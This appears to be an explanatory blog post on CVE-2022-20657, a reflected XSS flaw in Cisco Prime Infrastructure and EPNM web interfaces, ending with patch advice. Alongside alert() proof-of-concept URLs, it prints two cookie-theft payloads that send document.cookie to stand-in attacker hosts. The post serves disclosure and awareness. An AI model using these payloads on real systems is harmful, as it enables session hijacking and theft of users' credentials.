In early 2022, a critical security vulnerability was discovered in the web-based management interfaces of Cisco Prime Infrastructure (PI) and Cisco Evolved Programmable Network Manager (EPNM). This flaw, tracked as CVE-2022-20657, could allow attackers to execute cross-site scripting (XSS) attacks simply by tricking a victim into clicking a specially crafted link.
This post explains the vulnerability in plain English, demonstrates how it could be exploited with some code snippets, and shares how Cisco responded.
What is CVE-2022-20657?
CVE-2022-20657 is a vulnerability found in the web management interface of Cisco PI and EPNM. Because these interfaces did not properly validate user-supplied input, they could be tricked by attackers into running malicious scripts in the victim’s browser.
In short: Hackers could make a user’s browser run code it shouldn’t, just by clicking a tricky link.
Cisco Evolved Programmable Network Manager (EPNM)
If you use these tools to manage your network and haven’t updated per Cisco’s guidance, you’re at risk.
How Does This Work?
The issue is a reflected XSS flaw. When a web application doesn’t properly validate or sanitize data in URLs or forms, an attacker can inject malicious JavaScript. When an admin or user clicks a malicious link, their browser runs that code, with potentially dangerous effects.
Example: Crafting the Malicious Link
Let's say the vulnerable interface takes a name parameter in the URL and displays it somewhere on the page without proper sanitization. An attacker could send a URL like:
https://victim-device.example.com/page?name=<script>alert('XSS')</script>;
If the application does *not* escape special HTML characters, the script will execute
// The injected attacker's JavaScript
alert('XSS');
In the wild, attackers would use more subtle code to steal cookies or tokens, for example
<script>
new Image().src="http://malicious-site.com/steal?cookie="+document.cookie;
</script>
How Can You Defend Against CVE-2022-20657?
Cisco’s official advisory (see here) clearly states:
> Cisco has released software updates that address these vulnerabilities. There are no workarounds that address these vulnerabilities.
Digging Deeper: Code Snippet Exploit Example
If you’re a penetration tester or researcher (or a curious admin), here’s what an XSS proof-of-concept might look like as a URL:
https://your-cisco-device/page?name=%3Cscript%3Ealert('XSS!')%3C/script%3E
Which decodes to
<script>alert('XSS!')</script>
If the device is unpatched, an administrator opening that link sees an alert pop up. In real attacks, the payload would be hidden and used to steal data.
A more dangerous attack would send the session cookie to the attacker’s site
<script>fetch('https://evil.me/steal?cookie='+document.cookie);</script>
Reference Links
- Cisco Security Advisory for CVE-2022-20657
- NVD Entry for CVE-2022-20657
- Cisco Prime Infrastructure Homepage
Conclusion
CVE-2022-20657 might sound technical, but at bottom, it’s a simple and classic web bug: don’t trust user input. Any time web interfaces don’t clean up data before showing it, attackers can find ways in—even to the most critical systems.
If you use Cisco PI or EPNM, make sure you’ve patched. There is no workaround! Stay safe, and always keep software up to date.
If you want more details or help testing your systems for this vulnerability, check out the links above or contact Cisco support.
*Stay smart, patch early, and never trust suspicious links!*
Timeline
Published on: 11/15/2024 16:15:21 UTC
Last modified on: 11/18/2024 17:11:56 UTC